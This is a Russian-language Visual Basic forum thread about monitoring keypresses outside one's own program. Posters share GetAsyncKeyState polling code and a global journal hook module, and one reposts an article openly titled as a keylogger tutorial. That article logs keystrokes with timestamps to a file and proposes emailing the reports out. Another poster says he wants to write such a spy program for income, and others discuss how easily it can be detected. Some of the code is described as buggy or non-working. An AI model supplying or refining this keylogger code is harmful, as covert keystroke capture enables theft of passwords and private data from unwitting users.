Клавиатурный монитор.

[Went]

Как можно отследить, какая клавиша нажата вне рабочей программы, и чтоб при этом ничего не изменилось (некоторые системы перехватывают нажатия, мне нужен только мониторинг)?

[Amed]

а) по таймеру вызывать GetAsyncKeyState (см. Апи-гайд)
б) ставить хуки на клавиатуру, что правильнее (см. hook в поиске по форуму)

[Ramzes]

Клавиатурным шпионо попахивает

[skord]

2 Ramzes Они же безобидные =)
Сам когдато делал, только с раскладкой глюки были... я забил на это и взял готовый =)

[Ramzes]

2 Ramzes Они же безобидные =)
Сам когдато делал, только с раскладкой глюки были... я забил на это и взял готовый =)

Это смотря с какой стороны поглядеть

Я тоже когда то делал, но после падения винта исходники пезвозратно утеряны

[Went]

Мне нужен код. Как этот хук реализуется.

[Amed]

Яндекс. Найдётся всё.

[GM]

Вот так:

Код: Выделить всё

Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
dim cnt as long
    For Cnt = 32 To 128
        If GetAsyncKeyState(Cnt) <> 0 Then
           debug.print Chr$(Cnt)         
        End If
    Next
end sub


Незнаю правда, работает ли этот код.

[Amed]

Точнее, так:

Код: Выделить всё

Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
dim cnt as long
    For Cnt = 32 To 128
        If GetAsyncKeyState(Cnt) < 0 Then
           debug.print Chr$(Cnt) & " is pressed"         
        End If
    Next
end sub


Но это не хук... Хук исчите самостоятельно. На форуме были примеры (;

[Igor_123]

Это не хук, а простая проверка на нажатие определённых клавиш, если они(нажатия) не были обработаны, по таймеру.

Про хуки в МСДН или к GSerg'у или RTFM

[Ramzes]

Точнее, так:

Код: Выделить всё

Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
dim cnt as long
    For Cnt = 32 To 128
        If GetAsyncKeyState(Cnt) < 0 Then
           debug.print Chr$(Cnt) & " is pressed"         
        End If
    Next
end sub


Но это не хук... Хук исчите самостоятельно. На форуме были примеры (;

Фигово ваш код работает, его доработать надо

[Amed]

а) Код не мой
б) Так доработал бы, что зря флуд разводить.

[offtop]Достали уже, честное слово! Нет чтобы сразу сказать, что не устраивает, так не-ет, думают, что телепаты не в отпуске [/offtop]

[Ramzes]

а) Код не мой
б) Так доработал бы, что зря флуд разводить.

[offtop]Достали уже, честное слово! Нет чтобы сразу сказать, что не устраивает, так не-ет, думают, что телепаты не в отпуске [/offtop]

Мне он не нужен, я других предупреждаю

[_Мика_]

Клавиатурным шпионо попахивает

У появилась идея его написать (не корысти ради, а пропитания для!) Вопрос: как узнать какой процесс щас активен (имя процесса)

[tyomitch]

GetForegroundWindow, затем GetWindowThreadProcessId

[_Мика_]

Ща позырем!

Код: Выделить всё

Private Sub Timer1_Timer()
Dim st As Long
GetWindowThreadProcessId GetForegroundWindow, st
Me.Print st
End Sub


делаю так. Назожу четырех значную цифру, теперь по этой циферке мне нужно найти имя процесса [/quote]

[tyomitch]

Если забить на совместимость со старыми виндами (Win95 и NT4), то юзай GetWindowModuleFileName.

[Джеффи]

'Надеюсь разберешься что RemoveHook- это замочить хук а SetHook поставить его:) удачи

Public Enum HookFlags
HFMouseDown = 1
HFMouseUp = 2
HFMouseMove = 4
HFKeyDown = 8
HFKeyUp = 16
End Enum

Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpDest As Any, lpSource As Any, ByVal cBytes As Long)
Private Declare Function GetAsyncKeyState% Lib "user32" (ByVal vKey As Long)
Private Declare Function GetForegroundWindow& Lib "user32" ()
Private Declare Function GetWindowThreadProcessId& Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long)
Private Declare Function GetKeyboardLayout& Lib "user32" (ByVal dwLayout As Long)
Private Declare Function MapVirtualKeyEx Lib "user32" Alias "MapVirtualKeyExA" (ByVal uCode As Long, ByVal uMapType As Long, ByVal dwhkl As Long) As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Private Const SWP_NOSIZE = &H1
Private Const SWP_NOMOVE = &H2
Private Const SWP_NOREDRAW = &H8

Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const WM_MOUSEMOVE = &H200
Private Const WM_LBUTTONDOWN = &H201
Private Const WM_LBUTTONUP = &H202
Private Const WM_LBUTTONDBLCLK = &H203
Private Const WM_RBUTTONDOWN = &H204
Private Const WM_RBUTTONUP = &H205
Private Const WM_RBUTTONDBLCLK = &H206
Private Const WM_MBUTTONDOWN = &H207
Private Const WM_MBUTTONUP = &H208
Private Const WM_MBUTTONDBLCLK = &H209
Private Const WM_MOUSEWHEEL = &H20A

Private Const WH_JOURNALRECORD = 0

Type EVENTMSG
wMsg As Long
lParamLow As Long
lParamHigh As Long
' msgTime As Long
' hWndMsg As Long
End Type

Dim EMSG As EVENTMSG
Dim hHook As Long, frmHooked As Form, hFlags As Long

Public Function HookProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If nCode < 0 Then
HookProc = CallNextHookEx(hHook, nCode, wParam, lParam)
Exit Function
End If
Dim i%, j%
CopyMemory EMSG, ByVal lParam, Len(EMSG)
Select Case EMSG.wMsg
Case WM_KEYDOWN
If (hFlags And HFKeyDown) = HFKeyDown Then
If GetAsyncKeyState(vbKeyShift) Then j = 1
If GetAsyncKeyState(vbKeyControl) Then j = 2
If GetAsyncKeyState(vbKeyMenu) Then j = 4
If (EMSG.lParamLow And &HFF) > 31 Then
frmHooked.System_KeyDown MapVirtualKeyEx(EMSG.lParamLow And &HFF, 2, GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, 0))), j
Else
frmHooked.System_KeyDown EMSG.lParamLow And &HFF, j
End If
End If
Case WM_KEYUP
If (hFlags And HFKeyUp) = HFKeyUp Then
If GetAsyncKeyState(vbKeyShift) Then j = 1
If GetAsyncKeyState(vbKeyControl) Then j = 2
If GetAsyncKeyState(vbKeyMenu) Then j = 4
If (EMSG.lParamLow And &HFF) > 31 Then
frmHooked.System_KeyUp MapVirtualKeyEx(EMSG.lParamLow And &HFF, 2, GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, 0))), j
Else
frmHooked.System_KeyUp EMSG.lParamLow And &HFF, j
End If
End If
Case WM_MOUSEWHEEL
Debug.Print "MouseWheel"
Case WM_MOUSEMOVE
If (hFlags And HFMouseMove) = HFMouseMove Then
If GetAsyncKeyState(vbKeyLButton) Then i = 1
If GetAsyncKeyState(vbKeyRButton) Then i = 2
If GetAsyncKeyState(vbKeyMButton) Then i = 4
If GetAsyncKeyState(vbKeyShift) Then j = 1
If GetAsyncKeyState(vbKeyControl) Then j = 2
If GetAsyncKeyState(vbKeyMenu) Then j = 4
frmHooked.System_MouseMove i, j, CSng(EMSG.lParamLow), CSng(EMSG.lParamHigh)
End If
Case WM_LBUTTONDOWN, WM_RBUTTONDOWN, WM_MBUTTONDOWN
If (hFlags And HFMouseDown) = HFMouseDown Then
If GetAsyncKeyState(vbKeyShift) Then i = 1
If GetAsyncKeyState(vbKeyControl) Then i = 2
If GetAsyncKeyState(vbKeyMenu) Then i = 4
frmHooked.System_MouseDown 2 ^ ((EMSG.wMsg - 513) / 3), i, CSng(EMSG.lParamLow), CSng(EMSG.lParamHigh)
End If
Case WM_LBUTTONUP, WM_RBUTTONUP, WM_MBUTTONUP
If (hFlags And HFMouseUp) = HFMouseUp Then
If GetAsyncKeyState(vbKeyShift) Then i = 1
If GetAsyncKeyState(vbKeyControl) Then i = 2
If GetAsyncKeyState(vbKeyMenu) Then i = 4
frmHooked.System_MouseUp 2 ^ ((EMSG.wMsg - 514) / 3), i, CSng(EMSG.lParamLow), CSng(EMSG.lParamHigh)
End If
End Select
Call CallNextHookEx(hHook, nCode, wParam, lParam)
End Function

Public Sub SetHook(fOwner As Form, flags As HookFlags)
hHook = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf HookProc, 0, 0)
Set frmHooked = fOwner
hFlags = flags
Window_SetAlwaysOnTop frmHooked.hwnd, True
End Sub

Public Sub RemoveHook()
UnhookWindowsHookEx hHook
Set frmHooked = Nothing
End Sub

Private Function Window_SetAlwaysOnTop(hwnd As Long, bAlwaysOnTop As Boolean) As Boolean
Window_SetAlwaysOnTop = SetWindowPos(hwnd, -2 - bAlwaysOnTop, 0, 0, 0, 0, SWP_NOREDRAW Or SWP_NOSIZE Or SWP_NOMOVE)
End Function

НЕ РАБОТАЕТ!

[Eduard]

а что значит в примере фун-ция System_KeyDown у формы frmHooked её же нету у формы, а он в неё пытаеться чето посылать...

[Sasha_karasov]

Может, пригодится

Клавиатурный шпион
опубликовано: 08.07.2003 04:00

Я уверен, что каждый из нас сталкивался с задачей слежения за нажатием клавиш, но при этом использовались чьи-то готовые программы. На этот раз мы предлагаем Вам написать свою...
Реализовать клавиатурный шпион на Visual Basic очень легко. Для этого необходима функция
GetAsynckeyState, которая способна отслеживать нажатия клавиш, даже если форма в неактивном состоянии.
Наша программа будет фиксировать нажатия функциональных клавиш типа F1,CapsLock и т. д.. и записывать их в файл “C:\test.txt”.

Добавьте на форму текстовое поле Text2 и таймер Timer1 с интервалом 1.

Private Declare Function Getasynckeystate Lib "user32" Alias "GetAsyncKeyState" (ByVal VKEY As Long) As Integer
Private Const VK_CAPITAL = &H14

Private Sub Timer1_Timer()
keystate = Getasynckeystate(vbKeyTab)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "tab" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyLeft)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "влево" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyRight)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "вправо" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyUp)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "вверх" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyDown)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "вниз" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyInsert)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "insert" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyDelete)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "Delete" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyEnd)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "end" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyHome)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "home" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF1)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "F1"
End If
keystate = Getasynckeystate(vbKeyF2)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "F2"
End If
keystate = Getasynckeystate(vbKeyF3)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "F3"
End If
keystate = Getasynckeystate(vbKeyF4)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "F4"
End If
keystate = Getasynckeystate(vbKeyF5)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "F5"
End If
keystate = Getasynckeystate(vbKeyF6)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "F6"
End If
keystate = Getasynckeystate(vbKeyF7)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "F7"
End If
keystate = Getasynckeystate(vbKeyF8)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "F8"
End If
keystate = Getasynckeystate(vbKeyF9)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "F9"
End If
keystate = Getasynckeystate(vbKeyF10)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "F10"
End If
keystate = Getasynckeystate(vbKeyF11)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "F11"
End If
keystate = Getasynckeystate(vbKeyF12)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "F12"
End If
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "NumLock" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyScrollLock)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "ScrollLock" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyPrint)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "PrintScreen" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyPageUp)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "PageUp" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyPageDown)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "Pagedown" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyNumpad1)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "1"
End If
keystate = Getasynckeystate(vbKeyNumpad2)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "2"
End If
keystate = Getasynckeystate(vbKeyNumpad3)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "3"
End If
keystate = Getasynckeystate(vbKeyNumpad4)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "4"
End If
keystate = Getasynckeystate(vbKeyNumpad5)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "5"
End If
keystate = Getasynckeystate(vbKeyNumpad6)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "6"
End If
keystate = Getasynckeystate(vbKeyNumpad7)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "7"
End If
keystate = Getasynckeystate(vbKeyNumpad8)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "8"
End If
keystate = Getasynckeystate(vbKeyNumpad9)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "9"
End If
keystate = Getasynckeystate(vbKeyNumpad0)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "0"
End If
keystate = Getasynckeystate(vbKeyEscape)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "esc"
End If
keystate = Getasynckeystate(vbKeyNumlock)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "NumLock"
End If
keystate = Getasynckeystate(vbKeyBack)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "backspace" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyPause)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "pause" + vbNewLine
End If
End Sub

И всё, шпион почти готов. Нужна ещё процедура записи в файл.
В Form_Load добавим следующий фрагмент:

Text2 = "Контроль за системой активирован в: " + Time$ + " " + Date$ + vbNewLine

Это чтобы знать, когда был запущен шпион.
Добавим ещё один таймер с интервалом 10000. Запишем код

Open “C:\test.txt” For Append As #1
Print #1, Text2.Text
Close #1
Text2.Text = ""

Всё. Полагаю, реализовать запись остальных клавиш будет очень легко.
Ещё, правда, хорошему шпиону нужна процедура отправки на e-mail отчёта. Конечно, можно использовать Winsock или MAPI Control, однако тогда придётся использовать программу установки.
Но это вам самим на доработку.

[tyomitch]

Может, пригодится

Клавиатурный шпион
опубликовано: 08.07.2003 04:00

Я уверен, что каждый из нас сталкивался с задачей слежения за нажатием клавиш, но при этом использовались чьи-то готовые программы. На этот раз мы предлагаем Вам написать свою...
Реализовать клавиатурный шпион на Visual Basic очень легко. Для этого необходима функция
GetAsynckeyState, которая способна отслеживать нажатия клавиш, даже если форма в неактивном состоянии.
Наша программа будет фиксировать нажатия функциональных клавиш типа F1,CapsLock и т. д.. и записывать их в файл “C:\test.txt”.

Добавьте на форму текстовое поле Text2 и таймер Timer1 с интервалом 1.

И обнаружить такой шпион будет легче лёгкого - по 100% загрузке процессора.
Нет, лажово это - GetAsyncKeyState по таймеру.

[Джеффи]

Sasha_karasov Ужайснейший вариант, не точный, с глюками и с ним совершенно нельзя работать, я делал такой...

PS
Автор забыл что на свете есть оператор Select Case ? Который работает на порядок быстрее кучи If!

[Джеффи]

а что значит в примере фун-ция System_KeyDown у формы frmHooked её же нету у формы, а он в неё пытаеться чето посылать...

А ты замени frmHooked.System_KeyDown на frmHooked.print по логике вещей всё должно работать правильно, однако, ничего не произойдёт что-то в этом коде не так...

Хотя это может быть любой элемент управления например TextBox...

[killerb]

Нужена помощь по той же теме: пишу что-то вроде консоли (как в CS 1.5) со своими командами и т.п., которая должна выводиться на экран по нажатию клавиши "ё" "~" (192). Проблема в следующем:

Как сделать так, чтобы при долгом нажатии клавиши Ё консоль не блымала, а просто однократно появлялась или исчезала до тех пор пока юзер не отожмет клавишу и не нажмет ее снова.

Заранее благодарен, желательно увидеть код, а не сам принцип, т.к. принцип я понимаю, а вот сделать в затруднении ...

[killerb]

Получился такой громоздкий код:

Код: Выделить всё

Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim Change As Boolean
Dim ChangeTo As Boolean

'Timer2.interval = 10
Private Sub Timer1_Timer()

    Dim cnt As Long
    Dim nAll As Boolean
   
    For cnt = 0 To 225
   
        If GetAsyncKeyState(cnt) < 0 Then
           
            If cnt = 192 Then Change = True
           
        End If
   
    Next cnt
   
    If Left(Command.Text, 1) = "`" Then Command.Text = Mid(Command.Text, 2)
    If Right(Command.Text, 1) = "`" Then Command.Text = Mid(Command.Text, 1, Len(Command.Text) - 1)
   
End Sub


'Timer2.interval = 250
Private Sub Timer2_Timer()

    If Change = True Then
   
        ChangeTo = Not ChangeTo
       
        If ChangeTo Then Me.Hide Else Me.Show
       
        Change = False
   
    End If

End Sub


[ALX_2002]

Доброго дня челы. Я вот тут залез в ваш топик. Почитал. И задумался. А ведь наверняка есть просто СОБЫТИЯ нажатия клавиши.

Вспомнил, что есть такая API - GetMessage

Капнул глубже. Вот что получилось. К сожалению работает не очень чётко. Иногда почему то не ловит. Я думаю великие гуру помогут улучшить

А вообще конечно, нужно рыть в SetWindowsHook . Вот он то не подведёт. .

Весь код для модуля

Код: Выделить всё

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function GetMessage Lib "user32" Alias "GetMessageA" (lpMsg As MSG, ByVal hwnd As Long, ByVal wMsgFilterMin As Long, ByVal wMsgFilterMax As Long) As Long

Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101

Private Type POINTAPI
        x As Long
        y As Long
End Type

Private Type MSG
    hwnd As Long
    message As Long
    wParam As Long
    lParam As Long
    time As Long
    pt As POINTAPI
End Type

Dim WMSG As MSG
Dim MSGVAR As Long
Dim FLAG As Boolean

Sub main()
Do

Call GetMessage(WMSG, 0, 0, 0)

MSGVAR = WMSG.message

If MSGVAR = WM_KEYUP Then
FLAG = False
End If

If MSGVAR = WM_KEYDOWN Then
If Not FLAG Then
  Debug.Print "KEY " & Chr(WMSG.wParam)
  FLAG = True
End If
End If

Sleep 10
DoEvents
Loop
End Sub

[cg_ck]

Может быть тут есть что-то полезное? :

http://vbstreets.ru/VB/Sources/66136.aspx